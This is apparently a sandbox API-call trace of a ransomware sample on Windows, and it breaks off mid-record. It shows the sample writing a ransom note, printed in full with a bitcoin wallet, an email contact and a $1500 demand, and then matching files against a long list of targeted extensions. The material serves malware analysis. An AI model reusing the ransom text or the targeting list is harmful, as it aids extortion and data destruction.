PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.AddIn.ni.dll") returned -1 [0104.779] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.AddIn.ni.dll") returned -1 [0104.779] lstrcmpiA (lpString1="", lpString2="System.AddIn.ni.dll") returned -1 [0104.779] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\*.*") returned="*.*" [0104.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\" [0104.779] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\") returned="" [0104.779] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\HOW TO DECRYPT FILES.txt" [0104.779] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.addin\\29c55874e34f9d5cd3ea739262f48adc\\how to decrypt files.txt")) returned 0xffffffff [0104.779] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.addin\\29c55874e34f9d5cd3ea739262f48adc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.780] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.780] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.782] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.783] CloseHandle (hObject=0x90) returned 1 [0104.783] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\", lpString2="System.AddIn.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll" [0104.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.ems") returned 0 [0104.783] lstrlenA (lpString="*.ems") returned 5 [0104.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.db") returned 0 [0104.783] lstrlenA (lpString="*.db") returned 4 [0104.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.dbf") returned 0 [0104.783] lstrlenA (lpString="*.dbf") returned 5 [0104.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.myox") returned 0 [0104.783] lstrlenA (lpString="*.myox") returned 6 [0104.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.myo") returned 0 [0104.783] lstrlenA (lpString="*.myo") returned 5 [0104.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qbw") returned 0 [0104.783] lstrlenA (lpString="*.qbw") returned 5 [0104.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qbb") returned 0 [0104.784] lstrlenA (lpString="*.qbb") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qbm") returned 0 [0104.784] lstrlenA (lpString="*.qbm") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qbo") returned 0 [0104.784] lstrlenA (lpString="*.qbo") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qbx") returned 0 [0104.784] lstrlenA (lpString="*.qbx") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qba") returned 0 [0104.784] lstrlenA (lpString="*.qba") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qby") returned 0 [0104.784] lstrlenA (lpString="*.qby") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qbj") returned 0 [0104.784] lstrlenA (lpString="*.qbj") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.ofx") returned 0 [0104.784] lstrlenA (lpString="*.ofx") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.qif") returned 0 [0104.784] lstrlenA (lpString="*.qif") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.mye") returned 0 [0104.784] lstrlenA (lpString="*.mye") returned 5 [0104.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.mbox") returned 0 [0104.784] lstrlenA (lpString="*.mbox") returned 6 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.eml") returned 0 [0104.785] lstrlenA (lpString="*.eml") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.pst") returned 0 [0104.785] lstrlenA (lpString="*.pst") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.ost") returned 0 [0104.785] lstrlenA (lpString="*.ost") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.idx") returned 0 [0104.785] lstrlenA (lpString="*.idx") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.dbx") returned 0 [0104.785] lstrlenA (lpString="*.dbx") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.sql") returned 0 [0104.785] lstrlenA (lpString="*.sql") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.mdb") returned 0 [0104.785] lstrlenA (lpString="*.mdb") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.fdb") returned 0 [0104.785] lstrlenA (lpString="*.fdb") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.wab") returned 0 [0104.785] lstrlenA (lpString="*.wab") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.dat") returned 0 [0104.785] lstrlenA (lpString="*.dat") returned 5 [0104.785] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.txt") returned 0 [0104.785] lstrlenA (lpString="*.txt") returned 5 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.jpeg") returned 0 [0104.786] lstrlenA (lpString="*.jpeg") returned 6 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.jpg") returned 0 [0104.786] lstrlenA (lpString="*.jpg") returned 5 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.png") returned 0 [0104.786] lstrlenA (lpString="*.png") returned 5 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.php") returned 0 [0104.786] lstrlenA (lpString="*.php") returned 5 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.cs") returned 0 [0104.786] lstrlenA (lpString="*.cs") returned 4 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.cpp") returned 0 [0104.786] lstrlenA (lpString="*.cpp") returned 5 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.rar") returned 0 [0104.786] lstrlenA (lpString="*.rar") returned 5 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.zip") returned 0 [0104.786] lstrlenA (lpString="*.zip") returned 5 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.html") returned 0 [0104.786] lstrlenA (lpString="*.html") returned 6 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.htm") returned 0 [0104.786] lstrlenA (lpString="*.htm") returned 5 [0104.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.xlsx") returned 0 [0104.787] lstrlenA (lpString="*.xlsx") returned 6 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.xls") returned 0 [0104.787] lstrlenA (lpString="*.xls") returned 5 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.mp4") returned 0 [0104.787] lstrlenA (lpString="*.mp4") returned 5 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.ppt") returned 0 [0104.787] lstrlenA (lpString="*.ppt") returned 5 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.pptx") returned 0 [0104.787] lstrlenA (lpString="*.pptx") returned 6 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.doc") returned 0 [0104.787] lstrlenA (lpString="*.doc") returned 5 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.dot") returned 0 [0104.787] lstrlenA (lpString="*.dot") returned 5 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.docx") returned 0 [0104.787] lstrlenA (lpString="*.docx") returned 6 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.7z") returned 0 [0104.787] lstrlenA (lpString="*.7z") returned 4 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.tar") returned 0 [0104.787] lstrlenA (lpString="*.tar") returned 5 [0104.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.bz2") returned 0 [0104.788] lstrlenA (lpString="*.bz2") returned 5 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.gz") returned 0 [0104.788] lstrlenA (lpString="*.gz") returned 4 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.mkv") returned 0 [0104.788] lstrlenA (lpString="*.mkv") returned 5 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.eml") returned 0 [0104.788] lstrlenA (lpString="*.eml") returned 5 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.msg") returned 0 [0104.788] lstrlenA (lpString="*.msg") returned 5 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.edb") returned 0 [0104.788] lstrlenA (lpString="*.edb") returned 5 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.accdb") returned 0 [0104.788] lstrlenA (lpString="*.accdb") returned 7 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.odb") returned 0 [0104.788] lstrlenA (lpString="*.odb") returned 5 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.java") returned 0 [0104.788] lstrlenA (lpString="*.java") returned 6 [0104.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.asm") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.pfx") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.pem") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.p12") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.gpg") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.vsd") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.odg") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.raw") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.nef") returned 0 [0104.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.svg") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.psd") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.vmx") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.vmdk") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.vdi") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.lay6") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.mpeg") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.djvu") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.tiff") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.backup") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.pdf") returned 0 [0104.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.cert") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.docm") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.xlsm") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.dwg") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.nd") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.tlg") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.lgb") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.mov") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.xdw") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.ods") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.wav") returned 0 [0104.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.mp3") returned 0 [0104.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.aiff") returned 0 [0104.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.flac") returned 0 [0104.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.m4a") returned 0 [0104.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.AddIn\\29c55874e34f9d5cd3ea739262f48adc\\System.AddIn.ni.dll", pszSpec="*.csv") returned 0 [0104.792] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c6557, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c8c6557, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c8ec6b7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9aa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.792] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.792] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c938978, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5c938978, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5c938978, 